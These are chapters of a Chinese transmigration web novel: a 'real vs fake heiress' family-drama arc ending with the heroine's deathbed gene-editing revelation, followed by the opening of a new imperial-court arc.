转瞬间,她为生育付出的一切代价,好像就只和她自己有关了。从那一刻起,叶雪璃就不怎么爱哭了。她将全部精力放在孩子身上,哪怕是有保姆帮忙也不放心,非要自己亲自做才行。她的一切都在这个孩子身上失去了,如果连这个孩子也抓不住,她还剩什么呢?她是那么在乎这个孩子,但这个孩子只要稍微长大,离开她的怀抱,就会快乐地奔向奶奶爸爸,将恶作剧的舌头吐向她。 明明她为他付出了那么多啊!为什么他一长大,就要帮着别人伤害她呢! 叶雪璃不知道自己为什么会这么愤怒,只是不受控制地脱口而出:“你去死吧。” 秦母正一边哄着乖孙开心,一边享受着叶雪璃的无能狂怒,却没想到突然听到这么一句话,不由一愣:“你说什么?” 听她问,叶雪璃便又清楚明了地复述了一遍:“我说你去死吧,明明经历过和我 样的痛苦,却旭想把这种痛苦在我身上复刻,你活在世上有什么意义呢,我多希望你赶紧死了啊。”秦母:… "叶雪璃!你疯了!" 叶雪璃却没有停止,说她疯了就疯了吧,转头看向得意做鬼脸的秦正。 “很会看脸色是吗,因为这个家所有人都向着爸爸,所以你也觉得可以欺负妈妈了是吗。” “那妈妈告诉你,你和你那蠢货爸爸一样,都看错了!” “这个家都向着爸爸,不是因为他厉害,而是因为这个家都是他的妈妈和爸爸,就算他是个废物,也可以联合 群人欺负妈妈。” "如果你因为这个选择站队,那就大错特错,妈妈可比爸爸厉害多喽,你看错了脸色!" 秦正愣愣地看着从未见过的叶雪璃,哇的一声哭出来:“呜呜呜!妈妈坏!奶奶打她!奶奶打她!” “呵呵呵。”叶雪璃忍不住笑了一下。 和这对祖孙说完这番疯话,她就不想继续说了,转头看向一旁的保姆:“把我的房间收拾出来。” 保姆看她这疯样,很想动,但看秦母和小少爷的脸色,又不知道该不该动。 叶雪璃面无表情地看着她:“也许你也很喜欢看脸色,但我可以如实地告诉你,过了今天,秦家就彻底完了!” …… 秦念听着母亲电话里的哭诉,怒气冲冲地回来,甩开门就对着叶雪璃怒吼:“你疯了!知不知道我在外面有多忙,你还在家里给我添乱!”“忙什么,一个有秦氏填无底洞,也在持续亏损的药品公司,到底有什么可忙的。”"你说什么?" “有什么不能说的,天天经营一个亏损的公司,还好意思说自己忙,明明你少忙点,还能让你妈你爸剩个棺材本。” 秦念:? 听他妈说叶雪璃疯了,秦念还以为这对婆媳又在闹什么,现在才发现,叶雪璃是真的疯了! “你想干什么,不想过了是吗!” “不然呢,我很像是在和你谈心吗。” “当初是谁上赶着要嫁给我,现在有点委屈就受不了,非要闹成这样!” "不是你吗,我手机里现在还躺着你跟我求婚的信息呢,人老多忘事?" “你以为我为什么娶你!” “被叶奚青打击得失了智,想娶她的妹妹弥补一下脆弱的自尊心呗,但自尊心这种东西可以补,实力就是没法补啊。” “你说什么!” 秦念以前是从不打女人的,但叶雪璃彻底激怒了他,以至于他上前几步,就要把这个冒犯他的女人抓起来。 但叶雪璃一直静静地看着她,等他逼近,猛然站起来将手中的东西一挥,秦念顿时发出了一声不似人声的惨叫。 再看时,秦念的脸上,已经多了一条血肉模糊的口子。 叶雪璃结婚后,很喜欢穿高高的,恨不得把地板踩漏的尖锐高跟鞋,这次却没有穿在脚上,而是直接往秦念脸上豁。 在秦念回来之前,她都一直在试图平息自己愤怒,可是她做不到! 她好恨啊!这些年无声流掉的心血,必须见到真实奔涌的鲜血才能偿还! 秦念惨叫着捂着自己的脸,鲜血从指缝渗出来,真实的鲜血和疼痛,让他瞬间清醒过来。 围观的一群人终于不能再看热闹了,惊恐地把秦念簇拥起来,一脸恐惧地看着叶雪璃。 从来不被看在眼里的她,居然在此刻显现出了真实的存在感。 秦母因为唯一的儿子受伤,又惊又怕,色厉内荏地威胁道:“你这个疯女人!要是我儿子出了事,我一定要你好看!” “那可不行哦。”秦母胆战心惊地看着叶雪璃,却发现这句话不是叶雪璃说的。猛然看向声音来源,看清来人后,僵硬的身子更僵硬了。叶奚青堂堂正正地站在叶家门庭里,没有一个人敢阻止她,她一步步上前,面带微笑道—— “不管我叶家的女儿做了什么事,你们秦家的人,都没有资格处置哦。” 秦母:…… 此消彼长。 这些年,秦家被秦念头脑发热创建的那个药研公司,拖得日薄西山,叶家却在叶奚青的带领下,本家外业两开花,如今的叶家,已经是X城所有上流圈层都要仰望的存在。秦母敢在家里偷偷给叶雪璃難堪,却绝不敢在叶奚青明确亮出叶家招牌后,继续硬頂,只能屈辱地试图分辨道理:“难道叶小姐没有看见我儿子的样子吗!”叶奚青走近,捏起秦念的下巴,随便看了两眼,微笑道:“只是流了一点血,脸上又没有什么重要组织,有什么好大惊小怪的。” “倒是秦家公司现在的经营状况,更让人担心不是吗?” 秦家所有人噤若寒蝉,空气一片寂静。 叶奚青堂而皇之地将行凶完的叶雪璃带出门,众人这才意识到,叶雪璃之前说的他们看错了脸色,原来是这个意思… …… 离开秦家,叶雪璃垂头坐在后座,变得异常老实。 叶奚青跟她隔一个身位并排坐着,抱起手臂:“你怎么不往太阳穴上打呢?” "会死人的吧,我杀人你也能帮我摆平吗?" “所以你也知道,在文明社会,动用暴力解决问题,听起来非常离谱啊。” “对不起,我没忍住。” 现在说对不起有什么用,打都打完了。 自从叶雪璃选择和秦念结婚后,叶奚青就没再管过她,叶雪璃也喜欢避着她,万万没想到,她第一次向她求助,居然是为了这种事。略有些无语地问:“那你未来有什么打算。” “我要离婚。”“孩子要吗。”“不要了。” “为什么不要,我一直认为孩子生下来就是母亲的资产,这种轻易拱手让人的行为,让我非常不爽。” "如果你想要的话,我也可以争。" “那还是算了,一个连母亲都不想要的孩子,收回来也是劣质资产,虽然很遗憾你的前期付出,但沉没成本不参与重大决策。” 叶雪璃:…… “哞——” 自从在秦家暴起发疯后,她就陷入了诡异的平静,此刻终于能放声痛哭。她不知道自己的心里,为什么有那么沉重的愤怒,此刻终于明晰了,她在恼恨她永远收不回的沉没成本。也在恼恨她付出了那么多,别人却可以什么都不做,轻易夺走她的心血,让她的一切变得像个笑话!叶雪璃哭得非常狼狈,将过往维持的一切体面都作废,叶奚青颇为好心肠地递给她一片纸巾。 "人生有无数个六年,就算再浪费几个也没关系,你的产后损伤还蛮典型的,青青科技有个分组,专门系统的研究这些因生产造成的后遗症,现在也算取得了一些成果,你可以试试,也许还能重返舞台。"“不用了!” 叶雪璃用力地擤了擤鼻涕,上气不接下气地开口:“我已经不想什么舞台了,我只想问你,你要专心经营青青科技,还有余力接手叶家吗?” 叶奚青闻言果断将递纸巾的手收回:“就算我没有余力,也不会把东西让给你,我的东西永远是我的,你不要想东想西。” “我可以帮你!我既是叶家的女儿,又不是叶家的女儿,由我来做,没人比我更好!” 叶奚青思索着,手里的纸巾重新递了回去— 这倒不失为个好主意。 作者有话说?显示所有文的作话 感谢小天使们的1个霸王票、233瓶营养液~ 叶雪璃:所以我都这么惨了,你连几张抽纸也要和我计较吗?青青:你惨是你的事,抽纸可每一张都是我的。依然是现实不建议学系列,pk输了有生命危险,pk赢了也有铁窗泪的可能,最保险的是在开头不吃那口屎[笑哭] 35、《真假千金》... 这些年,叶家发生了天翻地覆的变化。 一颗怀疑的种子被种下,就一定会生根发芽。 原本是叶父单方面怀疑叶大叶二,但在他的高压打击下,叶大叶二终于反击了!有了叶奚青的“提醒”,叶父当然不会被两个儿子翻盘,所以他打赢了这场仗。但两个儿子的“背叛”,加上自身的年迈,还是让叶父病倒了。这让一下成为家中唯一“顶梁柱”的叶三,得意非凡。原本出生就排在老末的他,绝没有别过两个哥哥继承家业的可能。但没想到有福之人不用忙,出生得早不如出生得巧。两个哥哥被断绝关系,赶到国外,爸爸又上了年纪,没办法再创造一个新继承人,叶家的家业,理所应当地落在了他身上。他几乎不费吹灰之力地得到了一切,自然心情明媚,天天往家跑,在心情不好的父亲面前献殷勤。至于他父亲看见他时,心情到底是能变得更好,还是更坏,那就不好说了。叶父坐在轮椅上,被护工推着在庭院的玻璃暖房里晒太阳。一看见身边咧着大嘴笑的叶三,他心中就一股无名之火。 但在失去两个儿子,自己也病倒后,他确实不敢对着自己唯一的儿子随意发脾气,只能满心怒气地忍受着叶三的骚扰。 在看到远远过来的人时,终于露出了欢喜的神色:“青青,璃儿,你们也回来了!” 叶奚青搀着叶雪璃的肩膀过来,在看到叶父时,嘴上是:“爸爸,我回来看看你。” 心里其实是 【又看见爸爸病倒了,我真没用,要是能早日研发出治爸爸病的药就好了。】 叶父听到这,激动得热泪盈眶。 不愧是爸爸的贴心小棉袄!真是爸爸的好女儿啊!和那群白眼狼儿子一点也不一样! 看见叶父这么高兴,叶三却有点不开心地撇撇嘴。 真能表现啊,嘴都不张,就能把老爷子哄开心。 但哄得再开心有什么用呢,她一个女的,叶家还能给她吗? 早晚嫁出去的人,生的孩子都不姓叶,就算再讨喜欢又怎么样! 心里非常有优越感的叶三,吊儿郎当地打着招呼:“妹妹回来啦,还带着璃儿妹妹一起,怎么的,又和秦念吵架回娘家了?”在此之前,叶雪璃一直垂着头不说话,听到这,抬起头,露出一双哭得通红的眼睛。 她委屈地看着叶父,看着看着,突然放声痛哭,趴在叶父的轮椅上哭喊道:“爸爸,我不想和秦念过了,我要离婚!”叶父和叶三同时愣了:“怎么突然要离婚了?” 叶奚青做着一副好姐姐的做派,将她扶在椅子上,淡定道:“确实没法过了,我去的时候,已经到了动手的地步。” “而且我的青青科技,最近在计划着吞并秦念的‘念兴科技’,两家本来就没办法和平相处,现在断了反而更好。” 叶雪璃并不是亲生的女儿,加上叶奚青说的,叶父自然没有什么异议。 只是叶雪璃这个离过婚的养女回来,以后干什么呢? 叶奚青便继续淡定道:“让雪璃去公司瞧瞧呗。” "去哪个公司?" “当然是叶家的公司,我的青青科技,需要管理人员多少有些专业知识,雪璃现在想入行已经有点晚了。” 叶三顿时不干了:“可是叶雪璃懂什么!她一个破学跳舞的,懂什么公司经营!” 叶奚青却不以为然:“你是不是以为自己拿着个国外镀金的证书,就真有实力了?雪璃好 歹是正正经经的X大毕业,还是自己一边练舞一边考进去的,你什么水平我都不想说你。”“经营公司又不是靠文凭!叶雪璃她一个大小姐懂什么!” “我也是大小姐,我都出去自己创业了,你还在家里啃老,好意思说。” “你那是……你那是……我也不想说你,你心里有数!” “什么数,我怎么不知道,你有本事和我说说。” “好了!好了!”眼瞅着“听心声”“重生”的事都要被抖出来了,叶父赶紧阻止。 看向叶雪璃,没有丝毫犹豫地一锤定音:“行,你姐这么说,那就这么办吧,爸爸明天就安排你进公司。” 叶雪璃顿时感谢爸爸,叶三却疯狂跳脚:“为什么!她一个捡来的养女,抢了你18年的大小姐生活,你就不恨她吗,还要帮她进公司!” “这也是我想问哥哥的,说着把我当亲妹妹疼爱,现在却一口一个我是养女!”"我为什么会是养女,姐姐为什么会流落在外,不都是哥哥你当初犯的错吗!" 叶三僵在了原地,他这才发现,连叶雪璃都站起来和她呛声了。 如此兄不友,妹不恭的场面,叶家真正的两个掌权人,却显得非常淡定,坐在椅子上,甚至有闲心喝一杯饮品。真正的顶级捕食者,是不用亲自下场捕猎的,但为了维持自己统治的稳定,下面的人,最好自己撕咬起来。 叶父看了一下身边同样闲适的叶奚青,不知道她是出于圣母心,真的接纳了叶雪璃这个妹 妹,还是驭人之术已经娴熟到出于本能,不用额外思考,就自然而然地促成这一切。但总归解决了他一个心事,他不放心两个大点的儿子,自然也不会放心小儿子,如果真的能培养出一把和叶三对冲的刀,那也太好了!至于未来真正的继承人,叶父看向叶奚青。 如果他的女儿,是个儿子就好了…叶奚青对叶父投来的复杂目光报以一笑,将清爽的木瓜奶昔送到唇边。不会这个时候,还有人以为可以和她争吧? …… 叶氏集团和青青科技的合作,让所有人振奋。 虽然几乎所有人都知道,叶奚青是叶家走失又强势回归的千金,但叶奚青从未让叶氏集团 和青青科技挂钩过,也严令禁止叶氏集团宣传,诸如“自己护肤品里的物质出自青青科技”这种话。但今天两家真的合作了! 青青科技自问世以来,一直致力于研究女性健康,痛经药是第一弹,却不是最后一弹,作 为从资本到科研人员全是女性的团队,这个团队一直致力于研究女科疾病。以前很少有药研公司这么明晃晃主打女性健康,但被讨好的感觉还不错。 青青科技像鲶鱼一样,逼得同行药企不得不升级女性专用药,不然就等着放弃女性市场吧。 而众所周知,女性群体占人类群体的一半。 虽然看到叶奚青这么赚,也有其它药企开始模仿,但作为最先开启这条道路的青青科技,自然在女性心里有更重要的地位。 美容护肤的主要客户群就是女性,单凭“养了叶奚青这么个女儿”的号召力,就足以让叶氏集团排众而出,更不用说“真枪实弹”的第一次合作。 察觉到其中可能孕育的爆点,媒体立刻像闻到血腥味的鲨鱼一样汇聚而来,候念云也是其中之一。 但作为和叶奚青关系“非常不一般”的特殊人物,她敏锐地发现了一些异常,除了这次合作本身,更特别的是,叶奚青居然亲自出席了发布会! 什么档次啊,让叶BOSS亲自出席。 看看叶家那边的代表,不会又是一群V子吧,等等 叶雪璃? 候念云一脸震惊地看着叶雪璃,大学舍友说散就是真散了,五湖四海,各奔东西,就是想 过有一天去到对方的城市聚一下,也没想过这么猝不及防。一时间,脑海掀起风暴,“叶奚青”“叶雪璃”这两个名字反复交织,一个答案逐渐浮现。 不是,你藏得挺深啊! 这场发布会,叶奚青毫无疑问是主咖。 随着她越来越有名,媒体也越来越多地研究她的被访习惯,知道她喜欢开门见山的采访方 式,立刻踊跃举手,询问她关于这款合作品的细节,叶奚青——作答。"主要功效是减少衰老痕迹,对于皱纹、斑点等等自然老化造成的痕迹,有些聊胜于无的功效。" “没有专门研发,研究皮肤病治疗方案时,意外得到的副产品,想着闲着也是闲着,家里那边一直催我,干脆就甩这边来了。” “值不值得购买的话,看顾客吧,比起传统的补水产品,肯定会有点多余的功效,反正买别的也是买,买这个也不亏。” “不是我不想夸,只是护肤这个行业,夸张的话也太多了,我说了你们也不信。” “买还是希望大家买的,青青科技发展需要更多的资金,我一直期盼着各方的投资和支持。” “就拿今天的这项专利来说,虽然叶氏集团通过走后门的手段,获得了优先发行权,但依然欢迎各界护肤产品公司前来购买,叶氏集团并没有买断,专利成果属于大家。”“哈哈哈。”场地里升起了欢快的气氛。 原以为这个靠着女性主义噱头起家的科技公司,终于要开始收割韭菜了,没想到是这个画风。两边代表的状态泾渭分明,青青科技这边一片高冷,叶氏集团那边安静如鸡,充分展示了什么叫大公无私,就算是自家产业,也莫来沾边。因为主咖是这么消极的态度,专业的问题就没什么好问的了,毕竟“副产品”嘛,哪来的专业。但不要怕没有爆点的话题,就怕没发现爆点的眼睛,候念云立刻举手示意,叶奚青没有悬念地选择了她。作为青学掌门人,候念云立刻抓住了重点:“以前参与这种活动的都是我们小孟总,今天是什么让奚神你亲自降临了呢!”候念云的问话甚至有点调侃,叶奚青转向她,也带了笑意。 "你是今天第一个问到关键问题的人,既然你问了,那我就说了。" “一个护肤品发布会,当然没有什么好出席的,但不巧我身边的这位女士,刚好是我的妹妹。” “哟~” 有了候念云带头,这场发布会的记者变得非常上道,叶奚青便也顺理成章地将叶雪璃拉到台前:“接下来,请看这位叶女士的表演吧~”叶雪璃站起来重新给大家问好,焦点有序地转移到她身上。 这可能就是叶三的愚套之处吧,叶奚青已经把叶氏集团最重要的东西 顾客群,给彻底挖走了。 他却还觉得可以凭一根微不足道的东西,将一个没了叶奚青就什么也不是的企业,弄到手里。 叶雪璃有幸被叶家培养了18年,叶家什么都教她了,只是没教她和强者对抗的野心。 既然如此,成为叶奚青庇佑的妹妹,也没什么不好。 毕竟,她实在太强了。 …… 叶家新产品问世,毫无疑问卖脱销了。 以前青粉对叶家的态度很微妙。 虽然因为叶奚青出身于此,不能视而不见,但得知叶家有三个儿子,并且都在公司,反而是叶奚青不在后,不由有点恶心。 直到现在确定叶家两个儿子被踢出去,叶奚青亲自推妹妹出来后,青粉才一锤定音,批准叶家进入溺爱名单。 至于那个不知道叫什么的小男宝,随便扒点黑料,助力奚神登基吧。 割韭菜这种东西,就没有不割的,只是有人割得很高明。 叶奚青从来没主动割过粉丝的韭菜,但粉丝一个个韭菜成了精,都想被她割,还帮她筹谋怎么能割更多。 以前叶家没有叶奚青加入,只有路人粉瞎买。 现在有了明确的意向,立刻全体出动,不管以前用什么牌子的护肤品,现在都换了! 美容护肤产品,是很依赖营销宣传,打开客户群体的。 但在叶奚青这里,客户群体不用她宣传,纷纷追着她跑 只要叶父不死,他是不放心将手中的股权交给任何人的。 好在叶奚青是一个贴心的女儿,也没觊觎这种东西,就是两个哥哥都没了,他们剩下的分红也没人要,把不要的分红给她行吗? 叶三决绝抗议,随着叶奚青的名声越来越大,叶父又给她增加了5%的实际股权和8%的分红,除了叶父叶母,她的最多,凭什么还给她啊! 但他的抗议无效,毕竟女儿只是要了些红利,你叶三想要的恐怕不止吧? 他大手一挥,将叶大叶二的8%完全给了叶奚青。 叶奚青为了凑个整,掏出1%给叶雪璃,计玉秀见状,也掏出了1%。 叶父现在这个身体状况,除了怕死失权,也不怕别人花他钱了,果断又拿出了3%,还给叶奚青补了5%。 就这样,叶奚青有20%,叶雪璃有5%,只有叶三的4%最可怜。 雄心壮志夺去一切的叶三,才发现在这个家,他连叶雪璃都干不过。 这到底是为什么,他还是不是叶家的独苗啊! …… 将叶雪璃插进叶氏集团,叶奚青就不想再管了。 一分钱一分力,叶父不将全部的股权给她,她自然也不会把叶氏当自己的公司经营,没事领点分红,有事找爸爸借点钱就好了。 自己公司的盈利、叶家得来的分红,让叶奚青变得非常富有,收购秦念的药企变得非常容易。 这家企业在秦念手里是一块废铁,在她手里可不是。 秦念的脸上,还缠着叶雪璃划伤的绷带,却也只能在叶奚青面前低下头去。 叶奚青看着他,露出一个微笑。 "学哥,十年到了。" 36、《真假千金》... “啊啊啊!”系统不敢看了。 整个后台的观众都在为女主撕裂男主欢呼,知道的是男主,不知道的还以为哪个角落扒拉来的炮灰男配呢…… "哈哈哈!我记得这个世界的男主,可是小7的台柱之一,小7,这也是你的计划一环吗?哈哈哈!"“啊啊啊!把我们秦推当冤种整呢!好不容易开次世界,给我们看这是吧!”“秦妈受不了了,7418你行的,为了捧任务者,削男主光环是吧?”“这个任务者什么数值怪啊,说四年就四年,说十年就十年,言出法随,龙傲天在世,7418你敢看吗!”“我受不了了,宝宝你本来就是生在小世界,不能左右自己命运的精美摆件,妈妈不能带你走就算了,居然还要看着你受这样的虐待!”"停氪!停氪!秦粉再也不会为你7418氪一分钱!" 系统: 这是它想的吗! 第二个世界,引来了前所未有的流量,但也带来了前所未有的问题,它的台柱啊! 身为娱乐性的直播观测节目,当然不可能没有人气固定角色。 和第一个世界沾点“乡土”气息,不易起人气的男主陆景安不同,这个世界的男主秦念,作为校园时期的学神,社会上的科研大佬,是非常受欢迎,有不少固定粉丝的。 强大无敌是他受欢迎人设的基石,有了这样的“黑历史”,不知道有多少黑料截出圈啊! 系统现在心好痛,连流量也不能安慰它,毕竟这些流量都是用它陨落的男主换的! 它现在的感受明明和秦粉一样,居然还要因为这个被骂! 哞—系统哭得好破碎,但在心碎之余,它也和秦粉产生了一样的疑问,为什么叶奚青的表现会这么夸张啊?明明在原世界扫描过,她身上根本没有什么突出的数值,怎么剧情一展开,就比全剧数值最高的男主还厉害了! 系统不死心地又检测了一下叶奚青的各项数据,居然连智商都没超过常规数值,这不合理吧! 它实在忍不住了,就想问个明白。 叶奚青正投身于新的实验,听见系统的疑问,抬起头:“你是不是有点太瞧不起我了,我好歹是活了两辈子的人,就算智商是平均水平,智慧比别人多一点有问题吗?”"但是科研能力是哪来的!这纯靠个人智力了吧!" “没有吧,感觉学了就会呢,科研需要智力支持这种结论哪来的,有数据支撑吗?” 这还用数据支撑吗!不是理所应当的事吗! 但继续追问下去,好像叶奚青会非常得意呢! 系统只能气急败坏地看着叶奚青:“那宿主,你就没有想过,在第四年的时候,什么也没研究出来,反被男主打脸的情况吗?” “有啊,所以我没选很难攻克的医学难题,痛经连人都弄不死,会是很难攻克的疾病吗?” "要是就是研发不出来,你该怎么办!" 叶奚青停下动作,看向系统,脸上现出一种从未有过的表情:“你先把直播关一下,我就告诉你。” 系统:? “这是有什么不能说的吗?” “你先关。” 系统心里充满了疑惑,但它实在太好奇了,想了很久,还是按照叶奚青的要求,将直播短暂地断开了一下。 叶奚青:“真的关了吗?” 系统:“真的关了!你快说!每关1s都损失很多流量的!”听见它真的关了,那叶奚青就放心了,仰头直视系统— “宿主做不到的时候,就该系统来操作,你是个爽文系统,不是窝囊废系统,公报私仇到连我们才是利益共同体都忘了吗!蠢货!”系统:…… … 不知沉默了多久,直播间恢复了画面,弹幕一片沸腾。 "???"“说了什么?”“有什么是我们尊贵的VIP不能听的?”“快放出来!不然投诉了!”系统:……… 它像一个明星耍大牌,劈头盖脸骂了它一顿,还得帮她剪辑的冤种工作者…… 所以到底是谁先背叛了我们的利益同盟啊! …… 自那日“直播事变”,系统就彻底没声了。 叶父去世后,叶奚青理所当然地继承了叶家,达成了她人生的又一个巅峰,也达成了她脱离世界的条件。 叶奚青很遗憾,早知道应该努努力,让叶父再多活几年。 这个世界太美好了,顶级豪门,顶级学术资源,真不敢想全部带回她的世界,她真正的人生会变得多么辉煌。 但物有尽时,人有终了,真到了时候,也不必强求。 她在这个世界,也没有什么遗憾了,正好用此残躯,做一些有意义的事。 …… 叶雪璃跑得飞快,她要在第一时间赶到案发现场,然后向叶奚青质问 你到底想干什么! 最顶尖的ICU抢救室里,此刻活动的却不是各大顶尖医护人员,而是挂着特殊牌子的特殊工作者。 知名药学院士叶奚青,在她的一生里,为了人类生命健康工程做出了无数贡献,但在最后一刻,她如她早期的访谈说的那样,打开了关系整个人类的潘多拉魔盒—将基因编辑技术,作用在活体实验上。 那个活体标本,还是她自己。 这种对造物主的挑战,也让她遭受了造物主的“神谴”。 实验一结束,叶奚青身体的各个器官就开始衰竭,现有的再好医疗也无法遏止这种衰竭。 她似乎为自己的莽撞付出了代价,但没人敢保证,她的试验资料,会不会流传出去,真的成为那把打开魔盒的钥匙。 所以致力于人类安全的特殊部门,准备让她的亲人开启她的心防,在生命的最后关头行行好,好好交代一下实验资料的问题,叶雪璃就是那个被选中的人。 她不知道为什么会是自己,只能喘着气,走向人群。 计玉秀哭得很心碎,她乞求见自己女儿最后一面,但工作人员态度温和却坚定,将她坚决地拦在了外面。孟学冬不在这,作为青青科技的负责人之一,她也需要接受检查。 只剩叶三非常兴奋,暴突的眼睛,现出一种极度的渴望:“叶奚青要死了?哈哈哈!报应啊!” 计玉秀哭着斥责他的无情,却不如叶雪璃一句话好使:“高兴什么,她死了也什么都轮不到你,你的孩子都不姓叶。” “你说什么!” 前些年为了对抗越来越强的叶雪璃,叶三和另一个赵姓豪门联姻了。 但联姻这种东西,是为了利益,叶雪璃也可以撇开他,直接和赵家合作。 叶三觉得自己是叶家唯一儿子,他的血脉是叶家唯一正统继承人,赵小姐可不这么觉得。 如果凭“血脉正统”这玩意,能击败叶奚青加叶雪璃的组合,那他两个哥哥就不会失败,他就不会成为“叶家正统”。 与其跟着他发疯,不如把他踹了,孩子跟自己姓,继承自己家的家业,还省得看他那张越老越丑的脸。 就这样,一直嘲讽叶奚青,嫁出去孩子都不姓叶的叶三,居然是孩子最先不姓叶的。 一提到这,就戳到了叶三的痛筋,立刻神情癫狂地想对叶雪璃动手。 但工作人员也不是吃素的,直接抓住他的手,叶三再要闹,工作人员已经将手按在了兜里。 察觉到这个动作的意义,不由一激灵,脑子瞬间清醒,连连后退。 别过无意义的人群,叶雪璃走进病房,就看见除了叶奚青,已经有了一个头发灰白,周身儒雅的老年女人,坐在叶奚青旁边,对她微笑颔首。 叶奚青好像正在和她交谈,听见动静,表情有些奇特:“你们最后居然找了她来。” 一头贴头短发的老年女人,对着她微笑道:“我们评估过您身边的人,有的不能用温柔的爱撬开您的心防,有的会像狂信徒一样,不管怎样都追随您,或许只有这位同样姓叶的女士,可以和您达成最终链接,希望我们的选择没有错。" “啊,那便让她过来吧。” 叶雪璃听见这句话,一步步挪过去,坐在二人中间,攥紧了手指。 进来之前,她还有无数话要问,进来之后,面对这种情境,她却不敢说一句话,只有两个人还在闲适交谈 “其实我并没有失败。” "但是经检测,您身上所有的器官都在衰竭。" "那和实验无关。" “无关?可是您对此接受得非常良好,像是知道是实验的必然,哦,不对,也有可能是我们搞错了顺序,您是先知道了身体衰竭的必然结果,才开启了这项疯狂的实验。” "哈哈哈,这么快就猜到了,让我显得很没有面子。" “对不起叶院士,但这居然是真的吗?那我可以询问您,是什么威胁了您的生命吗?” “大概是外星人吧。” “还有可能得到更真诚的回答吗?” “不能。” “那我们只能暂时记录这个答案,请教您下一个问题,您实验成功的证明是什么?” “掀开我的袖子,看见上面的白瘫了吗?” "我的调查员向我报告过这一现象,她向我阐述,这一症状似乎和造成您生命流逝的症状不同,但我对科学的了解,没达到您和我队员的地步,所以并不能理解,原来奥秘真的在其中吗?"叶奚青赞许地看向她:“你们很敏锐,这其实是一种很常见的伴X染色体遗传的疾病,并不致命,但我的身体之前从没有这种表达。” "也就是说,您的研究方向,不是利用基因编辑技术治愈疾病,而是让疾病在健康的身体表达吗?" "是的,原本的目的确实是你说的第一种,但我的身体实在是太健康了,没有可以作为实验的样本,既然如此,我干脆反向思考,让病变基因,在我健康的身体表达。" “你看,我身体的数据,除了这处病变,没有任何影响,我安全且唯一地获得了这一疾病,证明我打通了基因编辑的单向通道,只要单向通道存在,就证明我的理论可逆,所以我说,我并没有失败。”"可是您的整个身体都在衰竭。" “对天发誓,这些绝对不是试验的副作用。” “太不可思议了,不知道该说您是疯子般的天才,还是天才般的疯子。”“谢谢夸奖,说实话,落在知情的人眼里,这些会让我有些受之有愧。” …… 两个人你一言我一语地交谈着,似乎都没把叶雪璃当人,叶雪璃垂着头,整个睫毛都在颤抖。 她听到了什么?这是她一个普通人可以触及的秘密吗? 两人热切地交流着,很快把所有细节都交流完,也就剩了最后一个话题:“那么叶院士,可以将您的实验数据交给我吗?” 叶奚青看向她,还是带着轻松的笑意:“你得到后会去销毁吗?” “这样杰出的成果,我说我会销毁,您肯定也不信,但我向您保证,它会用在该用的地方。” "我为什么要相信你呢?" “因为有很多人觊觎这件东西,我却是第一个来到您身边的,这代表着我的实力。” "而在很久之前,我还是一个小女孩的时候,也同样是您的粉丝。" “听说您一直对粉丝会更宽容一些,所以我想赌您的情感。” 叶奚青用力挪动胳膊,指尖微碰,算是给她鼓掌:“滴水不漏啊,但你这么小心,为什么要让一个无关的外人接近我呢?”老年女人抬起眼睛,叶奚青已经在她的注目下大喊一声:“叶雪璃!” “啊?” 叶雪璃惊慌地站起来,还真有她事啊?叶奚青的脸上,是一种回光返照般的神采,她认真看着她:“叶雪璃,我要你帮我做一件事!”叶雪璃呆呆地看着她,好像又回到了最初的时候,她还是那个孱弱无力地“假千金”,一面对叶奚青,就失去了所有力气。 这也太荒唐了吧,明明叶奚青让她做任何事,她都会答应,为什么是这种事呢! 叶雪璃很愚钝,她总需要很长的时间,才能学会别人生下来就会的东西,但就算愚钝如她,也知道这件事有多危险!多离奇!多不可思议!她恐惧得整个人都在颤抖,全身每个细胞都叫嚣着逃避,但叶奚青的手腕一直敲击着床沿,重复着那句—叶雪璃!我要你帮我做一件事!原本平稳的监测仪器,掀起刺耳的嗡鸣,叶奚青几乎用一整个生命的重量,嘶哑着向她要求。 于是叶雪璃脑了短路了,身体比本能更快地点头:“嗯!” 听到肯定的答复,叶奚青终于平静下来,她看向她的目光,和她逐渐归零的生命体征一样平静— “我要你帮我做一件事,永远记住我,哪怕我什么也不给你。” 81--86 81、《罪女金枝》 季嗣音是郦文鸢年纪很大时孕育的,她上面几个哥哥比她大得多,季嗣音如今也已经快至中年,她的哥哥就更大。 不知道是不是父系遗传的原因,季嗣音的父兄身体都不够好,南康王也是如此,南康王府的事,如今已多交于世子和王妃。 季嗣音年少时,她的父兄多宠溺于她,她对父兄,其实感情颇深。 但侄子,可就是隔了一辈的亲人,是另一个女人的孩子。 她喜欢皇兄,可以爱屋及乌,讨厌皇嫂,也可以恨屋及乌。 两相抵消,她对这个侄子没有一丝感情,看着如狡狐在世般的年轻侄子,季嗣音弯了弯眼角,调笑道:“怎么是你来的。” “妹妹回来了,当哥哥的见也不见,他当初回来,我可是跑出十里地去接他呢。” “他还把我当不当亲妹妹,如今我回来,都到家门口了,他倒是动都不愿意动了。” 一听这话,南康王世子赶紧赔罪,面带笑意道:“姑姑说的哪里话,父亲心中,看之最重的就是姑姑。” “想当初在南康时,父亲每每看到女童玩物,都会买下,母亲问她:是给昭明和玉真的吗?” “父亲就乐呵呵说:是给永宁的。” “母亲还因此和父亲恼气,怪责他爱妹妹,比爱女儿还多。” “父亲心念姑姑若此,若身体康健,怎会不亲自来接姑姑。” “只是父亲的病前些日子又复发,实在下不来地。” “听说姑姑回来,他撑着身子也要起来。” “母亲不忍,强令他不能出门,才派了侄儿来,姑姑可千万不要误解父亲的苦心啊!” “哦?”季嗣音露出动容的神色:“皇兄又病了?” “他这个身体,怎么比父皇还差,等我拜见完母皇,立刻去看他!” “昭明和玉真也让她们等着我,我备份大礼给她们赔罪。” “怎么能为了妹妹轻待女儿呢,皇兄可真是的!” 她面上带着轻松的笑意,仿佛闲话家常,南康王世子和季氏从众,却一时拿不准她是真心还是假意。十年的时间,已经让这位曾经虽也权势滔天,但终归只是依仗女皇宠爱的公主,变成了真正执掌一州的登州王。若说之前拉拢她,只是为了让她在感情上左右那位龙座上的帝王。 现在的季嗣音,已经拥有了实际拥立太子的实力,她对储君的态度,将直接奠定大局。 近日上方的异常,也被底下敏锐地捕捉到了。他们察觉,储君之争,或许已经能浮上水面。陛下召公主回京的用意,真的很明显。 就是不知道皇帝召女儿回京,是想拉拢女儿的登州势力帮助自己,执意要这个江山改朝换代,将自己的姓氏和国号传下去。 还是利用女儿季氏的血脉,手足之情,确保亲儿子顺利登基。 公主自己登基这种事,他们不会想,也不会提。 不是觉得没有这种可能,也不是觉得季嗣音现在没有登基的实力。 